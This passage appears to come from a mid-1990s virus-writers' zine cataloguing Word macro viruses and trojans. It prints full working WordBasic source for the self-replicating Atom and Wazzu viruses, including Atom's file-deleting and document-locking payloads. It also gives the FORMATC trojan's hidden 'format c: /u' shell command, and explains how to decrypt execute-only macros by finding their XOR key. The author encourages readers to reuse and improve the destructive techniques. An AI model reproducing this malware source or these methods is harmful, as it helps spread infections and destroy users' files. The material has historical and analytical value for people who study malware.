being the first WINWORD STEALTH MACRO VIRUS. It accomplishes it's stealth
actions, by hiding itself from the active listing, since attempting to view
active macros would run the COLORS infected Tools/Macro, thus hiding it's
own presence while simultaneously infecting your system.
[ MacroTools .Name = sNames$(i), .Print = 1, .Delete ] Good !!!
The COLORS virus will keep track of infections via a counter, named
"countersu", which can be found under the [Windows] section of the WIN.INI
file. Whenever an infected macro is executed, the counter is incremented
by a count of one. It quickly adds up, when you consider how much you
OPEN, CREATE, SAVE, EXIT, and CLOSE documents. When the increment counter
reaches 299, and every 300th execution thereafter, COLORS will be
triggered. COLORS will then make changes to the system colors setup,
including text, background, borders, buttons, etc., using randomly
determined colors. The new color scheme becomes apparent to the user
during the next session of Windows.
Colors ability to spread without the use of AutoExecute Macros, and its use
of Advanced Stealth techniques signals a new level of MACRO virus
technology. <Hiding itself from view when you actively look for it defines
STEALTH in my book, since it evades detection> It also adds fuel to the VxD
argument, as an on access scanner could prevent infection by this type of
stealthy virus.
You have the complete disassemblie in the previous issue.. so download it...
--------------------------------------------------------------
4.4: DMV:
=========
Commonly known as WordMacro.DMV, DMV is an unremarkable TEST Virus,
possibly the first to be created using the WORDBasic Language. Joel
McNamera wrote it in the fall of 1994, as a real time TEST for some MACRO
Virus Theories. The Virus was kept under wraps, and a detailed paper was
published. This TEST virus was only released, as an educational aid, after
the CONCEPT virus was discovered. DMV isn't a threat to anyone, as it
announce itself upon infecting the system.
Nothing to say, it's an old virus. and now, all the technique used was
detected by most AVX.
--------------------------------------------------------------
4.5: HOT:
=========
Also known as WORDMACRO HOT, WinWord.Hot.
Not the most ingenious of the Macro Virus Family, it's biggest kick, is the
ability to wait or sleep for awhile <up to 14 days> and then delete a file.
WordMacro/Hot appears to be the first Word macro virus written in Russia.
It was found in the wild in Russia in January 1996.
Infected documents contain four execute-only macros:
AutoOpen
DrawBringInFrOut
InsertPBreak
ToolsRepaginat.
MacIntosh Word Users will notice HOT, by examining the icon of the file...
infected documents appear with the template icon, normal documents appear
with the normal document icon.
NOTE: WordMacro/Hot appears to be the first macro virus to use external
functions, allowing Word macros to call any standard Windows API call.
This makes the spreading function Windows 3.x specific, preventing Word for
MAC and Word 7 for Win '95 from spreading the Virus. An error dialog will
be displayed under Microsoft Word 7.0.
Unable to load specified library
HOT activates automatically via it's AutoOpen Macro <assuming no attempt to
disable AutoMacros has been made> adding a line LIKE...
QLHot=34512
to Ms Word for Windows 6's WinWord6.INI file, which acts as a counter
recorder system, setting a date 14 days in the future for payload
activation.
HOT then copies the included macros to the Global Template, NORMAL.DOT
usually, revising their names...
AutoOpen ==> StartOfDoc
DrawBringInFrOut ==> AutoOpen
InsertPBreak ==> InsertPageBreak
ToolsRepaginat ==> FileSave
A listing of the currently loaded macros in this infected environment will
reveal the names in the right list. Loading another infected document
<actually a template> will add the left list to the macro list plus the
right list. NOTE: Macros have been saved with the 'execute-only'
feature, which means that a user can't view or edit them.
A clean <AutoMacros disabled> WORD environment will produce the left list
when viewing an infected document.
HOT's FileSave macro cause the virus to randomly decide within 1-6 days
from the infection date to activate whenever an effort to open files is
made. Upon activation, a document will have it's contents deleted, by
opening it, slecting the entire contents, delting them, and closing the
document, saving it in it's now empty state.
Users with c:\DOS\EGA5.CPI should be protected from this macro, as the
author included a check for this file as a protective measure, noted in the
source code as follows:
'---------------------------------------------------------------
'- Main danger section: if TodayNo=(QLHotDateNo + RndDateNo) ---
'- and if File C:DOSega5.cpi not exist (not for OUR friends) ---
'---------------------------------------------------------------
HOT's InsertPBreak Macro inserts a page-break in current documents, which
is used as a sign of a document already being infection by HOT.
NOTE: WordMacro/Hot relies on the existence of KERNEL.EXE
I can see this macro, if you have it, please send it to the mag.... thanks
--------------------------------------------------------------
4.6: MS WORD 2/MS WORD 6.x MACRO TROJAN WEIDEROFFEN:
====================================================
This is a new MACRO Trojan, <that's been around for 2 years> that goes by
the alias WinWord.Weideroffnen. It is technically a WinWord 2 infected
document, that works eqwually well under MS WORD 6.x. It intercepts
AutoClose, and attempts to play tricks with boot-up file AUTOEXEC.BAT.
I haven't seen this macro virus, so I don't know...
--------------------------------------------------------------
4.7 WORDMACRO ATOM / ATOMIC
=============================
This is a new Macro Virus, found in February 1996, which works along the
same general ideas as the original Concept virus. The WordMacro/Atom virus
is not known to be in the wild.
The differences, when compared to the Concept Virus, follows:
- All the macros in this virus have been marked EXECUTE ONLY,
making them encrypted
- Replication occures both during file openings, and file saves.
- Atom comes with 2 destructive payloads
On December 13th, it's first point of activation occures. It will attempt
to delete all files in the current file directory.
The second activation, password protects documents, restricting the users
access to their own documents. This happens when the system clock seconds
counter equals 13, and a File/Save As command is issued. The passowrd
assigned to the documents is ATOM#1.
If the user disables AUTOMACROS, Atom will be unable to execute and spread
to other documents. Enabling the Prompt To Save NORMAL.DOT will prevent
Atom from attacking and infecting the NORMAL.DOT file.
Here is the source :
Keep in mind the idea of put a passwd in a file, not a bad idea....
Macros: Atom
Sub MAIN
On Error Goto KillError
If Day(Now()) = 13 And Month(Now() = 12) Then
Kill "*.*"
End If
KillError:
End Sub
Macros: AutoOpen
Sub MAIN
Dim FN$
FN$ = FileName$()
On Error Goto ErrorInfectGlobalTemplate
If (CheckInfected = 0) Then
MacroCopy FN$ + ":FileSaveAs", "FileSaveAs", 1
MacroCopy FN$ + ":FileOpen", "FileOpen", 1
MacroCopy FN$ + ":AutoOpen", "AutoOpen", 1
MacroCopy FN$ + ":Atom", "Atom", 1
SaveTemplate
End If
Call Atom
ErrorInfectGlobalTemplate:
End Sub
Function CheckInfected
CheckInfected = 0
If (CountMacros(0) >= 4) Then
For I = 1 To CountMacros(0)
If (MacroName$(I, 0) = "Atom") Then
CheckInfected = 1
End If
Next I
End If
End Function
Macros: FileOpen
Sub MAIN
On Error Goto InfError
Dim dlg As FileOpen
GetCurValues dlg
Dialog dlg
FileOpen dlg
MacroCopy "AutoOpen", Dlg.Name + ":AutoOpen", 1
MacroCopy "FileSaveAs", Dlg.Name + ":FileSaveAs", 1
MacroCopy "FileOpen", Dlg.Name + ":FileOpen", 1
MacroCopy "Atom", Dlg.Name + ":Atom", 1
FileSaveAs .Format = 1
InfError:
End Sub
Macros: FileSaveAs
Sub MAIN
Dim dlg As FileSaveAs
GetCurValues dlg
Dialog dlg
If (Dlg.Format = 0) Or (Dlg.Format = 1) Then
MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs", 1
MacroCopy "AutoOpen", WindowName$() + ":AutoOpen", 1
MacroCopy "FileOpen", WindowName$() + ":FileOpen", 1
MacroCopy "Atom", WindowName$() + ":Atom", 1
Dlg.Format = 1
End If
If (Second(Now()) = 13) Then ] easy... to block a document
Dlg.Password = "ATOM#1" ] a idea why not put a randomize passwd ?
End If
FileSaveAs dlg
End Sub
--------------------------------------------------------------
4.9 FORMATC MACRO TROJAN
==========================
Also known as WORDMACRO.FORMATC, and FORMAT.C.Macro.Trojan
The FORMATC Macro Virus, isn't even a virus, as it DOES NOT SPREAD. This
makes it another MACRO TROJAN. This Trojan contains only one macro,
AutoOpen, which will be executed automatically when a document is opened.
The Macro AutoOpen, is READ ONLY, making it encrypted, and unreadable and
editable. It is visiable in the Macro List.
When FORMATC is executed, "triggered", it will run a dos session, in a
minimized DOS box. It will run an Unconditional Format of the C drive.
Here is the macro (Basic) but deadly...
Sub MAIN
sCmd$ = "echo y|format c: /u"
Shell Environnement$("COMSPEC") + "/c " + sCmd$, 0
End Sub
If you want to execute DOS command, you have here a hint on how to do it.
4.10 WORDMACRO WAZZU
=======================
WordMacro/Wazzu consists of a single AutoOpen macro; this makes it language
independent, ie. this macro virus is able to infect localized versions of
Word as well as the english Word.
It's inserted in your text the word "Wazzu" ... why not....
Nothing more to said, classic...
Sub MAIN
On Error Goto errCaught
FileSummaryInfo .Update
Dim dlg As FileSummaryInfo
GetCurValues dlg
fileMacro$ = dlg.Directory + "\" + dlg.FileName + ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10))
If MacroFile$ = "NORMAL.DOT" Then
MacroCopy globMacro$, fileMacro$
FileSaveAs .Format = 1
Else
MacroCopy fileMacro$, globMacro$
End If
Payload
Goto bye
errCaught:
bye:
On Error Goto 0
End Sub
Sub Payload
For i = 1 To 3
If Rnd() < 0.2 Then
RndWord
SelectCurWord
selWord$ = Selection$()
DeleteWord
RndWord
Insert selWord$ + " "
End If
Next
If Rnd() < 0.25 Then
RndWord
Insert "wazzu " <-------------------here's the payload
StartOfDocument
End If
End Sub
Sub RndWord
FileSummaryInfo .Update
Dim dlg As DocumentStatistics
GetCurValues dlg
wordNum = Int(Rnd() * Val(dlg.Words))
StartOfDocument
WordRight wordNum
End Sub
TOPIC 5: HOW TO DO WITH EXECUTE-ONLY MACROS
============================================
Easy, when you copy a macro with the option 1, Microsoft Word encrypts the
source of the macro, so when you look at the file, you can't see it....
But, the encryption they use is stupid :))) an XOR value... so the only
difficult thing, it's to find the XOR key...you must scan the file
and the Xor value is included...
I explain the method :
Locate the "real" filename of the document within the document,
A few bytes after the end of the name, there is a "U", the byte
immediately following is the ... XOR value to use.
Now to find the beginning of the macros are usually at B89h or
at 1509h. To locate, there is always the sequence
A5h C6h 41h then a byte and then the XOR value....
This is the standard method, you must know that each macro has a specific XOR
value.. when you look for the filename, you will find as many U's as you
have macros in the document.
I encountered some difficulties when the document is composed of encrypted macros
and normal macros... In this case, try to delete some macros and decrypt...
I can give you a little C source to help you. This source uses a brutal method, so you will have
1 macro readable by file.... try with the COLORS macro (last issue). I know
that the soft. functions well.
- --><-cut here---------------------------------
/*********
(c) AURODREPH Productions 04/1996